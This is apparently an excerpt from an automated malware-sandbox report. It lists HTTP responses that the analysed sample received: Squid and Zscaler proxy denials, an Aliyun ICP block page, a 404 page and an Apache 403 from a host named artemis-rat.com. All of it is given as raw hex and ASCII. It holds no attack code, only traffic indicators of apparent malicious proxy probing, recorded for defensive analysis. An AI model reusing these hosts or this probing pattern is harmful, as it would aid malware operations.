20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 64 61 74 65 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 65 6d 61 69 6c 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 70 61 73 73 77 6f 72 64 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 73 65 61 72 63 68 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 6c 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 78 74 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 69 6d 65 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 75 72 6c 5d 2c 20 73 65 6c 65 63 74 2c 20 74 65 78 74 61 72 65 61 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 36 32 36 32 36 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 62 61 73 65 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: MyWebServer/3.6.20 Unicode (By TGY)Date: Mon, 11 Mar 2024 02:30:43 GMTContent-Type: text/html; Charset=GB2312Content-Length: 154Connection: Keep-AliveData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 68 72 3e 3c 68 33 3e 4d 79 57 65 62 53 65 72 76 65 72 2f 33 2e 36 2e 32 30 20 55 6e 69 63 6f 64 65 20 28 42 79 20 54 47 59 29 3c 2f 68 33 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1><hr><h3>MyWebServer/3.6.20 Unicode (By TGY)</h3></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Mon, 11 Mar 2024 02:30:44 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Mon, 11 Mar 2024 02:30:45 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Mon, 11 Mar 2024 02:30:45 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Mon, 11 Mar 2024 02:30:45 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/htmlServer: Zscaler/6.2Cache-Control: no-cacheAccess-Control-Allow-Origin: *Content-length: 13607Data Raw: 3c 21 2d 2d 23 20 49 64 3a 20 63 6c 6f 73 65 64 70 72 6f 78 79 2e 68 74 6d 6c 20 32 38 35 31 34 34 20 32 30 32 31 2d 30 36 2d 31 36 20 30 35 3a 30 32 3a 30 36 5a 20 73 7a 68 61 6e 67 20 2d 2d 3e 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 63 2e 6f 72 67 2f 54 52 2f 31 39 39 39 2f 52 45 43 2d 68 74 6d 6c 34 30 31 2d 31 39 39 39 31 32 32 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 5a 73 63 61 6c 65 72 20 6d 61 6b 65 73 20 74 68 65 20 69 6e 74 65 72 6e 65 74 20 73 61 66 65 20 66 6f 72 20 62 75 73 69 6e 65 73 73 65 73 20 62 79 20 70 72 6f 74 65 63 74 69 6e 67 20 74 68 65 69 72 20 65 6d 70 6c 6f 79 65 65 73 20 66 72 6f 6d 20 6d 61 6c 77 61 72 65 2c 20 76 69 72 75 73 65 73 2c 20 61 6e 64 20 6f 74 68 65 72 20 73 65 63 75 72 69 74 79 20 74 68 72 65 61 74 73 2e 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c 74 69 74 6c 65 3e 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 62 79 20 5a 73 63 61 6c 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 76 61 72 20 64 65 66 4c 61 6e 67 20 3d 20 27 65 6e 5f 55 53 27 3c 2f 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 3c 69 6d 67 20 61 6c 74 3d 22 5a 73 63 61 6c 65 72 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 7a 73 63 61 6c 65 72 74 68 72 65 65 2e 6e 65 74 2f 69 6d 67 5f 6c 6f 67 6f 5f 6e 65 77 31 2e 70 6e 67 22 3e 2d 2d 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 33 65 33 65 33 3b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 0a 63 6f 6c 6f 72 3a 23 34 42 34 46 35 34 3b 0a 7d 0a 61 20 7b 0a 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 0a 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 0a 63 6f 6c 6f 72 3a 23 30 30 39 64 64 30 3b 0a 7d 0a 74 61 62 6c 65 20 7b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 3b 0a 7d 0a 74 64 20 74 61 62 6c 65 20 7b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0a 7d 0a 69 6d
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/4.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 02:30:46 GMTContent-Type: text/html;charset=utf-8Content-Length: 5X-Squid-Error: TCP_RESET 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from proxy.wakoopa.comVia: 1.1 proxy.wakoopa.com (squid/4.7)Connection: keep-aliveData Raw: 72 65 73 65 74 Data Ascii: reset
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/htmlServer: Zscaler/6.2Cache-Control: no-cacheAccess-Control-Allow-Origin: *Content-length: 13597Data Raw: 3c 21 2d 2d 23 20 49 64 3a 20 63 6c 6f 73 65 64 70 72 6f 78 79 2e 68 74 6d 6c 20 32 38 35 31 34 34 20 32 30 32 31 2d 30 36 2d 31 36 20 30 35 3a 30 32 3a 30 36 5a 20 73 7a 68 61 6e 67 20 2d 2d 3e 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 63 2e 6f 72 67 2f 54 52 2f 31 39 39 39 2f 52 45 43 2d 68 74 6d 6c 34 30 31 2d 31 39 39 39 31 32 32 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 5a 73 63 61 6c 65 72 20 6d 61 6b 65 73 20 74 68 65 20 69 6e 74 65 72 6e 65 74 20 73 61 66 65 20 66 6f 72 20 62 75 73 69 6e 65 73 73 65 73 20 62 79 20 70 72 6f 74 65 63 74 69 6e 67 20 74 68 65 69 72 20 65 6d 70 6c 6f 79 65 65 73 20 66 72 6f 6d 20 6d 61 6c 77 61 72 65 2c 20 76 69 72 75 73 65 73 2c 20 61 6e 64 20 6f 74 68 65 72 20 73 65 63 75 72 69 74 79 20 74 68 72 65 61 74 73 2e 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c 74 69 74 6c 65 3e 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 62 79 20 5a 73 63 61 6c 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 76 61 72 20 64 65 66 4c 61 6e 67 20 3d 20 27 65 6e 5f 55 53 27 3c 2f 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 3c 69 6d 67 20 61 6c 74 3d 22 5a 73 63 61 6c 65 72 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 7a 73 63 6c 6f 75 64 2e 6e 65 74 2f 69 6d 67 5f 6c 6f 67 6f 5f 6e 65 77 31 2e 70 6e 67 22 3e 2d 2d 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 33 65 33 65 33 3b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 0a 63 6f 6c 6f 72 3a 23 34 42 34 46 35 34 3b 0a 7d 0a 61 20 7b 0a 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 0a 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 0a 63 6f 6c 6f 72 3a 23 30 30 39 64 64 30 3b 0a 7d 0a 74 61 62 6c 65 20 7b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 3b 0a 7d 0a 74 64 20 74 61 62 6c 65 20 7b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0a 7d 0a 69 6d 67 20 7b 0a 6d
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 02:30:46 GMTServer: Apache/2.4.18 (Ubuntu)Content-Length: 281Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p><hr><address>Apache/2.4.18 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service Unavailable
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Mon, 11 Mar 2024 02:30:46 GMTContent-Type: text/html;charset=utf-8Content-Length: 3699X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from hostX-Cache-Lookup: NONE from host:3128Connection: closeData Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e d0 9e d0 a8 d0 98 d0 91 d0 9a d0 90 3a 20 d0 97 d0 b0 d0 bf d1 80 d0 be d1 88 d0 b5 d0 bd d0 bd d1 8b d0 b9 20 55 52 4c 20 d0 bd d0 b5 20 d0 bc d0 be d0 b6 d0 b5 d1 82 20 d0 b1 d1 8b d1 82 d1 8c 20 d0 Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>: URL
